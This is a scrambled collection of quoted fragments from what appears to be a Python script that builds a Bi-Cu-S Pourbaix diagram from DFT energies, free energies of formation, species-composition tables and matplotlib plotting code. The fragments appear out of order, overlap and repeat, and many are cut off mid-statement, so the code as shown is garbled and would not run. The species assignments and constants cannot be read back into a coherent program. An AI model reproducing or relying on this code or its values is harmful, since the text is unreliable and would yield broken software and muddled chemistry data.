"species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0",
"are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0;",
"current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to",
"range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu",
"ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$,",
"#Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2",
"species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3",
"-(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2);",
"species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0",
"or \\ (species[m, 5]==0 and species[p, 5] ==0) or \\ (species[k, 5]==0 and",
"combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2]",
"#BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0",
"species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2",
"#V Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used",
"#CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24",
"1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2,",
"species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0",
"############################ ############################################################################### #should be as long as there are specicies considered #populate with",
"species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0",
"species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4",
"k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"=plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases",
"the color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2])",
"species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6",
"species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0",
"lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color =",
"species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1",
"range(1, n): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j in",
"species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1",
"for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species,",
"reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free",
"l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087",
"species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0",
"dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix ################################",
"dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ###############################################################################",
"#BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1",
"l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"'+str(p)+'\\n') t=1 t=0 #If there is at least one multi-element species in this",
"20): #Is there a linear combination of the elements that will allow #For",
"the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion",
"j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare",
"in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[m,0];",
"#n=input(\"Enter the mesh grid detail you want, suggested (30-140): \") n=30; #Constants R=8.31447;",
"Open File') ############################################################################### #### Determine which species are able to combine at the",
"the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num,",
"-2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2);",
"species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+",
"f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6])",
"if((species[k, 4]==0 and species[m, 4] ==0) or \\ (species[m, 4]==0 and species[p, 4]",
"= Urange/n; #used to iterate through U (energy) range ############################################################################### ######################## DFT CALCULATIONS",
"ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2]",
"species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions??????",
"composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num,",
"for i in range(1, n): #calculate the energies for each species number pH=lowpH+(i*pHcount);",
"S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0",
"########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should be as long as there",
"each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total",
"and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending",
"lines for metastable phases for i in range(1, n): #calculate the energies for",
"iterate through U (energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies",
"######################### #Free Energies of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus=",
"there are specicies considered #populate with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4))",
"#Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol ####################################",
"dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2)",
"you want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4;",
"dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F;",
"#Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O",
"species in the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species",
"in this combination if(flag==1): #test each linear combination for h in range(1, 20):",
"for k in range(0, len(species)): for m in range(0, len(species)): for p in",
"5],species[m, 5], species[p,5]]]) #check to see if each species contains a single element.",
"= [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color =",
"ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)')",
"coding: utf-8 -*- \"\"\" Created on Mon Jul 23 13:17:41 2018 @author: laurenwalters",
"species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1",
"species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0",
"############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O)",
"and Constants Ulow = -1.5; #V Uhigh = 1.5; #V Urange = Uhigh-Ulow;",
"Calculations ############################ ############################################################################### #should be as long as there are specicies considered #populate",
"dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209",
"0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ###############################################################################",
"species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2",
"#Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu)",
"#Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous",
"species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen",
"from numpy import asarray from numpy import save from numpy import load #Created",
"species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2",
"dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5=",
"((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S);",
"2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent",
"(species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if so, find the composition though",
"pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:],",
"matplotlib.pyplot as plt import random #For saving/importing data from numpy import asarray from",
"number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases",
"and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0",
"0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and",
"-*- coding: utf-8 -*- \"\"\" Created on Mon Jul 23 13:17:41 2018 @author:",
"species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi",
"species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0",
"#K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing",
"species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5",
"species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10",
"13:17:41 2018 @author: laurenwalters \"\"\" import numpy as np import matplotlib.pyplot as plt",
"l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j);",
"plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center',",
"Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ###########",
"your graph #n=input(\"Enter the mesh grid detail you want, suggested (30-140): \") n=30;",
"species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1",
"linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n')",
"suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1;",
"#CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi #############################################",
"in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[s,0];",
"species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number",
"the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color =",
"#CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0",
"you want in your graph #n=input(\"Enter the mesh grid detail you want, suggested",
"species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9",
"species, commpare all pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0];",
"species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8",
"20): for i in range(1, 20): for j in range(1, 20): #Is there",
"species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8",
"H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1",
"species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4",
"species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8",
"8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the value of t",
"current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second",
"Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is at least one multi-element",
"Species3: '+str(p)+'\\n') t=1 t=0 #If there is at least one multi-element species in",
"dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F;",
"make sure each element is in this combination of species if((species[k, 3]>0 or",
"dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F;",
"-3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839",
"species in this combination if(flag==1): #test each linear combination for h in range(1,",
"5]>0 or species[m, 5] >0 or species[p, 5])): #save species in array t=1",
